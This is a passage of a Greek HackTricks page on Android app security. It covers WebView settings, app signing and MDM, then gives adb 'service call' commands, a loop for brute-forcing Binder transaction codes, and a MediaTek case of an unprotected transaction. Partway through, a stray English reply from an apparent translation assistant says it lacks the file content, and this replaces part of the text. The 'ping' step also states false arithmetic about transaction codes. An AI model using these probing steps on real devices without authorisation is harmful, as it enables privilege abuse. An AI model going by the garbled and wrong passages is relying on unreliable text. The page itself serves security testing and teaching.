- WebViewClient είναι κατάλληλο για βασικό HTML αλλά δεν υποστηρίζει τη JavaScript alert function, επηρεάζοντας το πώς μπορούν να δοκιμαστούν επιθέσεις XSS.
- WebChromeClient λειτουργεί περισσότερο σαν την πλήρη εμπειρία του Chrome browser.
Ένα βασικό σημείο είναι ότι τα WebView browsers δεν μοιράζονται cookies με τον κύριο browser της συσκευής.
Για τη φόρτωση περιεχομένου υπάρχουν μέθοδοι όπως loadUrl, loadData και loadDataWithBaseURL. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι ασφαλή για χρήση. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης WebSettings. Για παράδειγμα, η απενεργοποίηση της JavaScript με setJavaScriptEnabled(false) μπορεί να αποτρέψει επιθέσεις XSS.
Η JavaScript “Bridge” επιτρέπει σε Java αντικείμενα να αλληλεπιδρούν με JavaScript, απαιτώντας οι μέθοδοι να σημειώνονται με @JavascriptInterface για ασφάλεια από το Android 4.2 και μετά.
Η επιτρεπόμενη πρόσβαση σε περιεχόμενο (setAllowContentAccess(true)) επιτρέπει στα WebViews να φτάνουν σε Content Providers, κάτι που μπορεί να αποτελεί ρίσκο εκτός και αν τα content URLs έχουν επαληθευτεί ως ασφαλή.
Για έλεγχο πρόσβασης αρχείων:
- Η απενεργοποίηση της πρόσβασης σε αρχεία (
setAllowFileAccess(false)) περιορίζει την πρόσβαση στο filesystem, με εξαιρέσεις για ορισμένα assets, διασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη ευαίσθητο περιεχόμενο.
Άλλα Συστατικά Εφαρμογής και Mobile Device Management
Ψηφιακή Υπογραφή Εφαρμογών
- Digital signing είναι απαραίτητη για τις Android εφαρμογές, διασφαλίζοντας ότι έχουν αυθεντική προέλευση πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθεύεται από τον package manager της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι self-signed ή πιστοποιημένες από εξωτερικό CA, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή δεν έχει τροποποιηθεί κατά τη μεταφορά της στη συσκευή.
Έλεγχος Εφαρμογών για Ενισχυμένη Ασφάλεια
- Από Android 4.2, μια λειτουργία που ονομάζεται Verify Apps επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η διαδικασία επαλήθευσης μπορεί να προειδοποιήσει τους χρήστες για πιθανώς επιβλαβείς εφαρμογές, ή ακόμη και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων εφαρμογών, ενισχύοντας την ασφάλεια του χρήστη.
Mobile Device Management (MDM)
- Οι MDM solutions προσφέρουν εποπτεία και ασφάλεια για κινητές συσκευές μέσω του Device Administration API. Απαιτούν την εγκατάσταση μιας Android εφαρμογής για την αποτελεσματική διαχείριση και ασφάλιση των κινητών συσκευών. Βασικές λειτουργίες περιλαμβάνουν την επιβολή πολιτικών κωδικών πρόσβασης, την επιβολή κρυπτογράφησης αποθήκευσης και την επιτρεπόμενη απομακρυσμένη διαγραφή δεδομένων, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια των κινητών συσκευών.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Καταγραφή και Εκμετάλλευση AIDL / Binder Services
Android Binder IPC εκθέτει πολλές υπηρεσίες συστήματος και παρεχόμενες από τον vendor. Αυτές οι υπηρεσίες γίνονται μια attack surface όταν εξάγονται χωρίς σωστό permission check (το AIDL layer καθαυτό δεν εκτελεί no access-control).
1. Εντοπισμός υπηρεσιών σε λειτουργία
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
I don’t have the file content. Please paste the text from src/mobile-pentesting/android-app-pentesting/android-applications-basics.md that you want translated.
Also confirm whether you want the translated output formatted as a numbered list (one list item per paragraph/section) or some other structure.
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
- Η index (πρώτη στήλη) εκχωρείται κατά το runtime – μην βασίζεστε σε αυτήν μεταξύ επανεκκινήσεων.
- Το Binder name (π.χ.
mtkconnmetrics) είναι αυτό που θα περαστεί στοservice call. - Η τιμή μέσα στις αγκύλες είναι η πλήρως-προσδιορισμένη AIDL interface από την οποία δημιουργήθηκε το stub.
2. Απόκτηση του interface descriptor (PING)
Κάθε Binder stub υλοποιεί αυτόματα τον transaction code 0x5f4e5446 (1598968902 δεκαδικό, ASCII “_NTF”).
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Μια έγκυρη απάντηση επιστρέφει το όνομα διεπαφής κωδικοποιημένο ως UTF-16 συμβολοσειρά μέσα σε ένα Parcel.
3. Κλήση μιας συναλλαγής
Σύνταξη: service call <name> <code> [type value ...]
Συνήθεις προδιαγραφές ορισμάτων:
i32 <int>– προσημασμένη 32-bit τιμήi64 <long>– προσημασμένη 64-bit τιμήs16 <string>– UTF-16 συμβολοσειρά (Android 13+ usesutf16)
Παράδειγμα – εκκίνηση παρακολούθησης δικτύου με uid 1 σε συσκευή MediaTek:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing άγνωστων μεθόδων
Όταν τα header files δεν είναι διαθέσιμα, μπορείτε να επαναλάβετε τον κώδικα μέχρι το σφάλμα να αλλάξει από:
Result: Parcel(00000000 00000000) # "Not a data message"
σε μια κανονική Parcel απάντηση ή SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
Αν η υπηρεσία μεταγλωττίστηκε με proguard ο χάρτης πρέπει να μαντευτεί – δείτε το επόμενο βήμα.
5. Χαρτογράφηση κωδικών ↔ μεθόδων μέσω onTransact()
Απομεταγλωττίστε το jar/odex που υλοποιεί το interface (για AOSP stubs ελέγξτε /system/framework; οι OEMs συχνά χρησιμοποιούν /system_ext ή /vendor).
Αναζητήστε το Stub.onTransact() – περιέχει ένα γιγάντιο switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Τώρα το prototype και οι τύποι παραμέτρων είναι απόλυτα σαφείς.
6. Εντοπισμός ελλιπών ελέγχων δικαιωμάτων
Η υλοποίηση (συχνά μια εσωτερική κλάση Impl) είναι υπεύθυνη για την εξουσιοδότηση:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
Η απουσία τέτοιας λογικής ή μιας λίστας επιτρεπτών privileged UIDs (π.χ. uid == 1000 /*system*/) είναι ένας δείκτης ευπάθειας.
Μελέτη περίπτωσης – MediaTek startMonitorProcessWithUid() (transaction 8) εκτελεί πλήρως ένα Netlink μήνυμα χωρίς οποιονδήποτε μηχανισμό ελέγχου αδειών, επιτρέποντας σε μια μη προνομιούχα εφαρμογή να αλληλεπιδράσει με το Netfilter module του kernel και να spamάρει το system log.
7. Αυτοματοποίηση της αξιολόγησης
Εργαλεία / scripts που επιταχύνουν το Binder reconnaissance:
- binderfs – εκθέτει
/dev/binderfsμε κόμβους ανά υπηρεσία binder-scanner.py– διασχίζει τον πίνακα binder και εμφανίζει τα ACLs- Συντόμευση Frida:
Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
Αναφορές
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Deep-C – Android deep link exploitation framework
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


